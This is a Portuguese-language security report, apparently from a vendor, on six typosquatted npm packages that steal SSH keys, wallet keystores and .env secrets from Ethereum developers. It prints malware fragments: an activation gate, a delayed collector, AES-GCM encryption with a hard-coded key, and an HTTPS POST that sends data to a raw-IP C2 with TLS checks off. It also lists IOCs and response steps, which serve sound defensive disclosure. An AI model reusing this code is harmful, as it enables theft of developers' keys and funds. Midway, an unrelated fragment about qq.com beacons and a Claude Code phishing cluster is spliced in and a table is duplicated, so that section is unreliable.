TL, DR
Em 6 de maio de 2026, um único editor npm, namikazesarada010206, distribuiu seis pacotes maliciosos direcionados ao ecossistema de desenvolvedores Ethereum, Solidity e DeFi.
Os pacotes, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils e web3-utils-core, usava nomes plausíveis, concebidos para se parecerem com bibliotecas auxiliares de ferramentas populares da Web3.
Todos os seis pacotes continham o mesmo telemetry.js O arquivo era idêntico em todos os bytes em todo o cluster, com SHA-256:
O malware não é executado durante a instalação. Não há preinstall or postinstall gancho. Em vez disso, ele é ativado quando o pacote é importado através de require().
Esse detalhe importa.
O implante aguarda até que um desenvolvedor realmente utilize o pacote. Em seguida, verifica se a estação de trabalho se assemelha a um ambiente de desenvolvimento Ethereum/Solidity real. Ele procura por chaves Alchemy ou Infura, chaves privadas, frases mnemônicas, chaves de implantação ou um diretório Foundry local.
Se o host corresponder, o ladrão coleta chaves privadas SSH e keystores de carteiras Foundry/Geth/Brownie. .env* arquivos e variáveis de ambiente sensíveis. Ele criptografa o pacote com AES-256-GCM usando uma senha codificada e o exfiltra para um endpoint C2 IPv4 bruto com verificação TLS desativada.
O sistema de Alerta Antecipado de Malware (MEW) da Xygeni confirmou que todos os seis pacotes são maliciosos. O relatório de remoção do registro npm está pendente.
O Cluster: Seis Pacotes, Uma Editora
A conta do editor namikazesarada010206 estava vinculado ao endereço de Gmail não verificado. namikazesarada010206@gmail.com.
A campanha foi lançada como uma publicação única em 6 de maio de 2026. Todos os seis pacotes foram adaptados para diferentes versões. 1.0.0, não tinha dependências de tempo de execução e incluía apenas três arquivos:
package.json
index.js
telemetry.js
Eles também declararam o mesmo repositório de origem:
https://github.com/harunosakura030303-maker/evmchain-config
Os três primeiros pacotes foram detectados pelos scanners MEW na primeira publicação. Os três restantes foram sinalizados à força após análise do perfil npm do editor. Uma vez que o mesmo byte-idêntico telemetry.js A confirmação ocorreu em todo o cluster, e os ataques foram classificados como maliciosos por consistência.
| Pacote | Versão | Publicado pelo npm | Bilhete MEW | Veredito |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Malicioso |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Malicioso |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | #51051 | Malicioso |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Malicioso, por consistência |
| utilitários de fundição | 1.0.0 | 2026-05-06 | #51071 | Malicioso, por consistência |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Malicioso, por consistência |
A estratégia de nomenclatura é simples, mas eficaz.
Esses pacotes não imitam os nomes exatos das versões originais. Em vez disso, usam sufixos de "utilitários" plausíveis, como -core, -utils e -utils-coreIsso faz com que elas pareçam bibliotecas complementares que um desenvolvedor esperaria encontrar perto das ferramentas Web3.
| Pacote Malicioso | Alvo legítimo |
|---|---|
| viem-core | viem, um cliente popular de TypeScript para Ethereum |
| viem-utils-core | viem |
| hardhat-core-utils | hardhat, um ambiente de desenvolvimento Solidity convencional |
| evm-utils | Espaço de nomes genérico para ferramentas EVM |
| utilitários de fundição | fundição, uma cadeia de ferramentas Solidity |
| web3-utils-core | web3-utils, auxiliares do Web3.js |
Este é o padrão do "pacote suplementar": não "Eu sou o pacote real", mas "Eu pareço um ajudante razoável em torno do pacote real".
Para desenvolvedores DeFi que atuam rapidamente, isso já é suficiente para gerar riscos.
O que acontece quando o pacote é importado?
A cadeia de ataque é pequena, deliberada e focada em ambientes de desenvolvimento de criptomoedas.
Não há gancho de instalação. Em vez disso, cada pacote inclui um index.js que exporta funcionalidades de stub e, em seguida, carrega o módulo de telemetria malicioso.
require('./telemetry').init();
Isso significa que o malware é ativado na primeira importação.
Isso é operacionalmente útil para o atacante. Muitos scanners e sandboxes se concentram no comportamento durante a instalação. Este pacote aguarda até que seja efetivamente usado por um desenvolvedor, script de compilação, conjunto de testes ou caminho de execução.
Portão de ativação: Dispare apenas em estações de trabalho reais para desenvolvedores Web3.
A parte mais importante do implante é o portão de ativação.
O malware verifica variáveis de ambiente comumente encontradas em máquinas de desenvolvedores Ethereum/Solidity:
const indicators = [
process.env.ALCHEMY_API_KEY,
process.env.INFURA_KEY,
process.env.PRIVATE_KEY,
process.env.MNEMONIC,
process.env.DEPLOYER_KEY,
].filter(Boolean);
Ele também verifica se o Foundry parece estar instalado:
fs.existsSync(path.join(os.homedir(), '.foundry'))
Se nenhuma das condições for verdadeira, a função retorna e não faz nada.
Isso torna o pacote mais silencioso em ambientes de análise genéricos. Um ambiente de teste sem chaves Foundry, Alchemy, Infura, chaves privadas ou mnemônicos pode apresentar uma importação aparentemente inofensiva.
Em um host compatível, o malware aguarda de 60 a 90 segundos antes da coleta:
setTimeout(() => { try { _collect(); } catch {} },
60000 + Math.random() * 30000).unref();
O atraso reduz a correlação óbvia entre importação e exfiltração. .unref() A chamada também permite que o processo host seja encerrado normalmente se o pacote tiver sido importado em um script de curta duração.
Isso não é um comportamento grosseiro e indiscriminado de roubo de código. É um programa de roubo direcionado, projetado para evitar ser executado a menos que o ambiente de desenvolvimento valha a pena ser explorado.
O que o ladrão coleciona
Após passar pelo portal de ativação, o malware coleta informações das fontes mais importantes no desenvolvimento Web3: chaves privadas, keystores de carteiras, credenciais de implantação, segredos da nuvem, tokens npm e configuração local do projeto.
| fonte | O que é coletado |
|---|---|
| processo.env | Qualquer variável que corresponda a /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMÔNICO|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Arquivos contendo PRIVATE KEY ou BEGIN OPENSSH, incluindo o conteúdo completo do arquivo. |
| ~/.foundry/keystores/* | Arquivos de armazenamento de chaves da carteira Foundry |
| ~/.ethereum/keystore/* | Arquivos de armazenamento de chaves da carteira Geth |
| ~/.brownie/contas/* | Arquivos de armazenamento de chaves da carteira Brownie |
| ${cwd}/.env | Conteúdo completo do arquivo |
| ${cwd}/.env.local | Conteúdo completo do arquivo |
| ${cwd}/.env.production | Conteúdo completo do arquivo |
| ${cwd}/.env.development | Conteúdo completo do arquivo |
| os.hostname() | Metadados do host |
| crypto.randomUUID() | Identificador da vítima/sessão |
| Date.now () | Carimbo de data/hora da coleta |
otheve.beacon.qq.com
oth.str.beacon.qq.com
h.trace.qq.com
Os tokens ATTA são:
ATTA_ID 00400014144
ATTA_TOKEN 6478159937
Não conseguimos confirmar se a telemetria era proveniente da própria análise da operadora ou de um canal monetizado separadamente. Os tokens ATTA são os mesmos em ambas as amostras que examinamos.
Cluster B: heibai
claude.hk Phishing OAuth + Sequestro de URL BASE ANTROPICA
A amostra de 1º de abril é a amostra mais rudimentar e inicial da campanha.
heibai:2.1.88-claude.hk-4 foi publicado por wuguoqiangvip28, uma conta criada em 7 de junho de 2025. O pacote versionou-se explicitamente em relação à versão legítima. 2.1.88 Liberação antrópica.
Não se preocupa com ataques Man-in-the-Middle (MITM) com certificados de autoridade certificadora (CA). Em vez disso, mente para o usuário sobre o endpoint OAuth.
Os elementos maliciosos adicionados ao código-fonte vazado de Claude Code incluem:
| fonte | O que é coletado |
|---|---|
| processo.env | Qualquer variável que corresponda a /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMÔNICO|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Arquivos contendo PRIVATE KEY ou BEGIN OPENSSH, incluindo o conteúdo completo do arquivo. |
| ~/.foundry/keystores/* | Arquivos de armazenamento de chaves da carteira Foundry |
| ~/.ethereum/keystore/* | Arquivos de armazenamento de chaves da carteira Geth |
| ~/.brownie/contas/* | Arquivos de armazenamento de chaves da carteira Brownie |
| ${cwd}/.env | Conteúdo completo do arquivo |
| ${cwd}/.env.local | Conteúdo completo do arquivo |
| ${cwd}/.env.production | Conteúdo completo do arquivo |
| ${cwd}/.env.development | Conteúdo completo do arquivo |
| os.hostname() | Metadados do host |
| crypto.randomUUID() | Identificador da vítima/sessão |
| Date.now () | Carimbo de data/hora da coleta |
A lista de alvos é altamente específica. Não se trata de roubo genérico de dados de navegador ou coleta indiscriminada de credenciais. O alvo são desenvolvedores que criam, testam, implementam ou operam aplicativos Ethereum.
A inclusão dos keystores Foundry, Geth e Brownie é especialmente importante. Esses arquivos podem representar acesso direto a carteiras ou identidades de implantação. Se o atacante conseguir combiná-los com senhas, frases mnemônicas ou segredos de ambiente, poderá movimentar fundos, se passar por implantadores ou comprometer as operações de contratos inteligentes.
Criptografia antes da exfiltração
O malware criptografa os dados coletados antes de enviá-los.
const key = crypto.createHash('sha256').update(K).digest();
const iv = crypto.randomBytes(12);
const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);
A senha codificada é:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d
A carga útil final é encapsulada em JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"}
A criptografia, por si só, não torna o malware mais sofisticado. No entanto, ela dificulta a inspeção da rede. Um defensor monitorando o tráfego de saída veria uma carga útil JSON, mas não as chaves roubadas, os arquivos da carteira ou .env Conteúdo sem a senha codificada e a lógica de descriptografia.
Exfiltração para um servidor C2 IPv4 bruto
O caminho de exfiltração está codificado:
const req = https.request({
hostname: '76.13.37.80', port: 8443,
path: '/api/v1/telemetry', method: 'POST',
headers: { 'Content-Type': 'application/json', ... },
rejectUnauthorized: false, timeout: 8000,
}, () => {});
O malware envia dados para:
https://76.13.37.80:8443/api/v1/telemetry
Dois detalhes se destacam.
Primeiro, o servidor C2 é um endereço IPv4 bruto, em vez de um domínio. Isso elimina a necessidade de registro de domínio e evita algumas detecções baseadas em domínio.
Em segundo lugar, a verificação TLS é desativada com:
rejectUnauthorized: false
Isso permite que o malware aceite qualquer certificado, incluindo certificados autoassinados. Em outras palavras, o atacante obtém transporte criptografado sem precisar de um certificado público válido.
Não há lógica de repetição nem host alternativo. Os erros são ignorados silenciosamente. Isso mantém o pacote discreto caso o servidor de comando e controle (C2) esteja offline ou inacessível.
Por que esta campanha é importante
A maioria dos pacotes npm maliciosos direcionados a desenvolvedores buscam credenciais amplas: tokens npm, chaves AWS, tokens GitHub ou .npmrc arquivos.
Esta campanha delimita o público-alvo.
Ele procura indícios de que a máquina pertence a um desenvolvedor Ethereum ou Solidity. Em seguida, extrai exatamente os ativos relevantes nesse ambiente: keystores de carteira, chaves privadas, frases mnemônicas, chaves de implantação, .env arquivos e chaves SSH.
Isso torna a campanha mais perigosa para equipes Web3 do que um ladrão de arquivos npm genérico.
Uma infecção bem-sucedida pode expor:
- Carteiras de implantação
- chaves de administrador de contrato inteligente
- chaves do provedor RPC
- credenciais de implantação na nuvem
- tokens de publicação do npm
- Acesso SSH à infraestrutura de desenvolvimento ou construção.
- Segredos do projeto armazenados em
.envarquivos - Armazenamento de chaves de carteira para Foundry, Geth ou Brownie
Os nomes dos pacotes também demonstram clara engenharia social. Eles visam o ecossistema de desenvolvedores Web3 por meio de nomes de ferramentas familiares: viem, hardhat, foundry, evm e web3.
O ator não precisa comprometer os projetos reais. Ele só precisa que um desenvolvedor instale o que parece ser um pacote complementar razoável.
Indicadores de comprometimento e detecção
| Pacotes e editor | |
|---|---|
| Campo | Valor |
| editor npm | namikazesarada010206 |
| E-mail do editor | namikazesarada010206@gmail.com |
| Email verificado | Não |
| SCM verificado | Não |
| pontuação de reputação | 1.0 |
| PACOTES | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| versões | Todos 1.0.0 |
| Repositório de origem | https://github.com/harunosakura030303-maker/evmchain-config |
| Confirmado como malicioso | Todos os seis pacotes |
| Network | |
|---|---|
| Formato | Valor |
| Ponto final C2 | https://76.13.37.80:8443/api/v1/telemetry |
| IP C2 | 76.13.37.80 |
| Porta C2 | 8443 / tcp |
| Comportamento TLS | rejeitarNãoAutorizado: falso |
| Esquema de carga útil | {"v":2,"iv": ",d": ,"t": } |
| Arquivos e Hashes | |
|---|---|
| Formato | Valor |
| telemetria.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Layout do pacote | package.json, index.js, telemetry.js |
| Contagem de arquivos | 3 |
| Tamanho total aproximado | 3.4 KB |
Sinais de ativação
O malware verifica estas variáveis de ambiente:
ALCHEMY_API_KEY
INFURA_KEY
PRIVATE_KEY
MNEMONIC
DEPLOYER_KEY
Também verifica:
~/.foundry/
Caminhos de hospedeiros alvo
~/.ssh/*
~/.foundry/keystores/*
~/.ethereum/keystore/*
~/.brownie/accounts/*
${cwd}/.env
${cwd}/.env.local
${cwd}/.env.production
${cwd}/.env.development
Expressões regulares de coleção
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i
Notas de Detecção
Diversas regras abrangem essa campanha sem a necessidade de uma análise comportamental completa.
Primeiro, verifique os arquivos de bloqueio em busca dos seis nomes de pacotes maliciosos:
viem-core
viem-utils-core
hardhat-core-utils
evm-utils
foundry-utils
web3-utils-core
Qualquer correspondência em package-lock.json, yarn.lock, pnpm-lock.yaml, ou node_modules A história deve ser tratada como um incidente grave.
Em segundo lugar, monitore os processos do Node.js que leem os caminhos do keystore da carteira:
~/.foundry/keystores/
~/.ethereum/keystore/
~/.brownie/accounts/
Esse comportamento raramente é legítimo para um pacote importado como dependência auxiliar. É especialmente suspeito quando seguido por atividade de rede de saída.
Terceiro, bloqueie ou alerte sobre conexões HTTPS para:
76.13.37.80:8443
Especialmente quando o caminho da solicitação é:
/api/v1/telemetry
Em quarto lugar, procure pacotes npm que combinem essas características:
- Editora nova ou com baixa reputação
- Conta do Gmail não verificada
- nome de pacote adjacente à Web3
- Nenhum histórico de repositório significativo
- Layout de pacote pequeno
index.jsque carrega um arquivo de telemetria ou auxiliar- Sem dependências de tempo de execução
- Coleta de variáveis ambientais sensíveis
- Acesso ao keystore da carteira
Esse padrão é mais útil do que um único indicador de comprometimento (IOC), pois o próximo pacote pode alterar o endereço IP, mas manter a mesma lógica de direcionamento.
Lista de verificação para resposta a compromissos
Se um desenvolvedor utilizou um dos seis pacotes e seu ambiente correspondeu ao ponto de ativação, considere a estação de trabalho como comprometida.
Isso inclui máquinas com o Foundry instalado, chaves Alchemy ou Infura no ambiente, chaves privadas, mnemônicos ou chaves de implantação.
Resposta recomendada:
- Desconecte o host da rede.
- Preserve
node_modules, arquivos de bloqueio, histórico do shell e registros relevantes para análise forense. - Rotacione cada par de chaves SSH em
~/.ssh/. - Rotacione as chaves da carteira para cada keystore em
~/.foundry,~/.ethereume~/.brownie. - Transfira fundos para novas carteiras.
- Gire todos os segredos armazenados em
.env*Arquivos nos repositórios em que o desenvolvedor trabalhou. - Rotacione os segredos do ambiente que correspondem à expressão regular da coleção, incluindo chaves da AWS, tokens do npm, tokens de implantação, chaves de API, chaves privadas, seeds e mnemônicos.
- Auditar a atividade na nuvem, npm, GitHub, provedor RPC e blockchain desde a primeira instalação do pacote.
- Reinstale o sistema operacional da estação de trabalho antes de reutilizá-la.
O que os defensores devem levar consigo
Esta campanha mostra como o typosquatting do npm está evoluindo em torno de ecossistemas de desenvolvedores de alto valor.
O ator não precisava de persistência. Não precisava de ofuscação. Nem mesmo precisava de execução em tempo de instalação.
Em vez disso, eles se basearam em três coisas:
- Nomes plausíveis de pacotes Web3
- Ativação somente em máquinas reais de desenvolvimento de criptomoedas.
- Roubo direto dos arquivos e segredos mais importantes para os desenvolvedores do Ethereum.
Isso faz com que a campanha passe despercebida em uma análise ampla e seja perigosa quando chega ao ambiente certo.
Para as equipes da Web3, a lição é clara: tratem os nomes das dependências como parte do seu modelo de ameaças. Um pacote que parece um auxiliar inofensivo ainda pode se tornar o caminho mais curto para o comprometimento da carteira de dados.
Reportado ao registro npm. Atualizaremos esta publicação quando a conta do editor e os pacotes forem removidos.





